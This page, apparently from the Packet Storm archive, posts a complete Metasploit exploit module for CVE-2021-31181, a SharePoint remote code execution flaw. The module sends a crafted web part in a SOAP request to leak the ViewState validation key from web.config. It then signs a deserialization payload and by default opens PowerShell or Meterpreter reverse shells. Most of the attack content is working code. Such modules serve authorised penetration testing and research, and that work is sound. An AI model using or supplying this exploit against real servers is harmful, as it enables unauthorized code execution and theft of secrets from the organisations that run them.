Microsoft SharePoint Unsafe Control And ViewState Remote Code Execution

Authored by unknown, Spencer McIntyre, wvu | Site metasploit.com

Posted Jun 17, 2021

The EditingPageParser.VerifyControlOnSafeList method fails to properly validate user supplied data. This can be leveraged by an attacker to leak sensitive information in rendered-preview content. This module will leak the ViewState validation key and then use it to sign a crafted object that will trigger code execution when deserialized. Tested against SharePoint 2019 and SharePoint 2016, both on Windows Server 2016.

tags | exploit, code execution
systems | windows
advisories | CVE-2021-31181
SHA-256 | 5dcb06868c15ec6031a011204cbd74de26b3766989021742163829 3a9f77e49b

Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Sharepoint
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell

  XML_NS = {
    'wpp' => 'http://microsoft.com/sharepoint/webpartpages',
    'soap' => 'http://www.w3.org/2003/05/soap-envelope',
    'xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
    'xsd' => 'http://www.w3.org/2001/XMLSchema'
  }.freeze

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft SharePoint Unsafe Control and ViewState RCE',
        'Description' => %q{
          The EditingPageParser.VerifyControlOnSafeList method fails to properly validate user supplied data.
This
          can be leveraged by an attacker to leak sensitive information in rendered-preview content. This
module will
          leak the ViewState validation key and then use it to sign a crafted object that will trigger code
execution
          when deserialized.

          Tested against SharePoint 2019 and SharePoint 2016, both on Windows Server 2016.
        },
        'Author' => [
          'Unknown', # Reported to HP ZDI team, Vulnerability discovery
          'Spencer McIntyre', # Module
          'wvu' # Module
        ],
        'References' => [
          [ 'CVE', '2021-31181' ],
          [ 'ZDI', '21-573' ],
          [ 'URL', 'https://www.zerodayinitiative.com/blog/2021/6/1/cve-2021-31181-microsoft-sharepoint-
webpart-interpretation-conflict-remote-code-execution-vulnerability' ]
        ],
        'DisclosureDate' => '2021-05-11',
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => false,
        'Targets' => [
          [
            'Windows Command',
            {
              'Arch' => ARCH_CMD,
              'Type' => :win_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
              }
            }
          ],
          [
            'Windows Dropper',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :win_dropper,
              'DefaultOptions' => {
                'CMDSTAGER::FLAVOR' => :psh_invokewebrequest,
                'PAYLOAD' => 'windows/x64/meterpreter_reverse_https'
              }
            }
          ],
          [
            'PowerShell Stager',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :psh_stager,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_https'
              }
            }
          ]
        ],
        'DefaultTarget' => 2,
        'DefaultOptions' => {
          'DotNetGadgetChain' => :TypeConfuseDelegate
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('VALIDATION_KEY', [false, 'ViewState validation key']),
      OptString.new('COOKIE', [false, 'SharePoint cookie if you have one']),
      OptString.new('SP_LIST', [true, 'SharePoint site SPList', 'Documents']),
      # "Promote" these advanced options so we don't have to pass around our own
      OptString.new('HttpUsername', [false, 'SharePoint username']),
      OptString.new('HttpPassword', [false, 'SharePoint password'])
    ])
  end

  def post_auth?
    true
  end

  def username
    datastore['HttpUsername']
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 157 files
Ubuntu 76 files
LiquidWorm 23 files
Debian 21 files
nu11secur1ty 11 files
malvuln 11 files
Gentoo 9 files
Google Security Research 8 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

```
  end

  def password
    datastore['HttpPassword']
  end

  def cookie
    datastore['COOKIE']
  end

  def vuln_builds
    # https://docs.microsoft.com/en-us/officeupdates/sharepoint-updates
    # https://buildnumbers.wordpress.com/sharepoint/
    # Patched in May of 2021
    [
      [Rex::Version.new('15.0.0.0'), Rex::Version.new('15.0.0.5337')], # SharePoint 2013
      [Rex::Version.new('16.0.0.0'), Rex::Version.new('16.0.0.5149')], # SharePoint 2016
      [Rex::Version.new('16.0.0.10000'), Rex::Version.new('16.0.0.10373')] # SharePoint 2019
    ]
  end

  def check
    build = sharepoint_get_version('cookie' => cookie)

    if build.nil?
      return CheckCode::Unknown('Failed to retrieve the SharePoint version number')
    end

    if vuln_builds.any? { |build_range| build.between?(*build_range) }
      return CheckCode::Appears("SharePoint #{build} is a vulnerable build.")
    end

    CheckCode::Safe("SharePoint #{build} is not a vulnerable build.")
  end

  def exploit
    if (username.blank? && password.blank?)
      if cookie.blank?
        fail_with(Failure::BadConfig, 'HttpUsername and HttpPassword or COOKIE are required for exploitation')
      end

      print_warning('Using the specified COOKIE for authentication')
    end

    if (@validation_key = datastore['VALIDATION_KEY'])
      print_status("Using ViewState validation key #{@validation_key}")
    else
      leak_web_config
    end

    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

    case target['Type']
    when :win_cmd
      execute_command(payload.encoded)
    when :win_dropper
      execute_cmdstager
    when :psh_stager
      execute_command(cmd_psh_payload(
        payload.encoded,
        payload.arch.first,
        remove_comspec: true
      ))
    end
  end

  def leak_web_config
    print_status('Leaking the ViewState validation key...')

    web_id = sharepoint_get_site_web_id('cookie' => cookie)
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve the site web ID') unless web_id

    webpart = <<~WEBPART
      <%@ Register TagPrefix="WebPartPages" Namespace="Microsoft.SharePoint.WebPartPage"
Assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
      <%@ Register TagPrefix="att" Namespace="System.Web.UI.WebControls " Assembly="System.Web,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" %>
    WEBPART
    webpart << Nokogiri::XML(<<~WEBPART, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent:
0, save_with: 0)
      <WebPartPages:XsltListFormWebPart id="id01" runat="server" ListDisplayName="#
{datastore['SP_LIST'].encode(xml: :text)}" WebId="{#{web_id.encode(xml: :text)}}">
        <DataSources>
          <att:xmldatasource runat="server" id="XDS1"
            XPath="/configuration/system.web/machineKey"
            datafile="c:/inetpub/wwwroot/wss/VirtualDirectories/80/web.config" />
        </DataSources>
        <xsl>
            <xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
                <xsl:output method="xml" indent="yes" />
                <xsl:template match="/">
                    <xsl:copy-of select="." />
                </xsl:template>
            </xsl:stylesheet>
        </xsl>
      </WebPartPages:XsltListFormWebPart>
    WEBPART

    envelope = '<?xml version="1.0" encoding="utf-8"?>'
    envelope << Nokogiri::XML(<<~ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent:
0, save_with: 0)
      <soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
        <soap12:Body>
          <RenderWebPartForEdit xmlns="http://microsoft.com/sharepoint/webpartpages">
            <webPartXml>#{webpart.encode(xml: :text)}</webPartXml>
          </RenderWebPartForEdit>
        </soap12:Body>
      </soap12:Envelope>
    ENVELOPE

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '_vti_bin', 'WebPartPages.asmx'),
      'cookie' => cookie,
      'ctype' => 'application/soap+xml; charset=utf-8',
      'data' => envelope
    )

    unless res
      fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")
    end

    unless res.code == 200
      fail_with(Failure::NotFound, "Failed to retrieve #{normalize_uri(target_uri.path, '_vti_bin',
'WebPartPages.asmx')}")
    end

    xml_response = res.get_xml_document
    if xml_response.nil?
      fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (non-XML response body)')
    end

    xml_result = xml_response.xpath('//wpp:RenderWebPartForEditResult', XML_NS)&.text
    unless xml_result
      fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (missing xpath:
//wpp:RenderWebPartForEditResult)')
    end

    xml_result = Nokogiri::XML(xml_result)
    web_part_pages = Nokogiri::XML(xml_result.xpath('//Properties').text)
    unless web_part_pages&.root
      fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (missing xpath:
//Properties)')
    end

    unless (preview = web_part_pages.root.attr('__designer:Preview'))
      fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (missing attribute:
__desiginer:Preview)')
    end
    preview = Nokogiri::HTML(CGI.unescapeHTML(preview))
    unless (@validation_key = preview.at('//machinekey/@validationkey')&.text)
      fail_with(Failure::NotFound, 'Failed to extract the ViewState validation key (missing xpath:
//machinekey/@validationkey)')
    end

    print_good("ViewState validation key: #{@validation_key}")
  end

  def execute_command(cmd, _opts = {})
    sharepoint_execute_command_via_viewstate(cmd, @validation_key, { 'cookie' => cookie })
  end
end
```


Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

packet storm

Site Links

- News by Month
- News Tags
- Files by Month
- File Tags
- File Directory

About Us

- History & Purpose
- Contact Information
- Terms of Service
- Privacy Statement
- Copyright Information

Hosting By

- Rokasec

Follow us on Twitter

Subscribe to an RSS Feed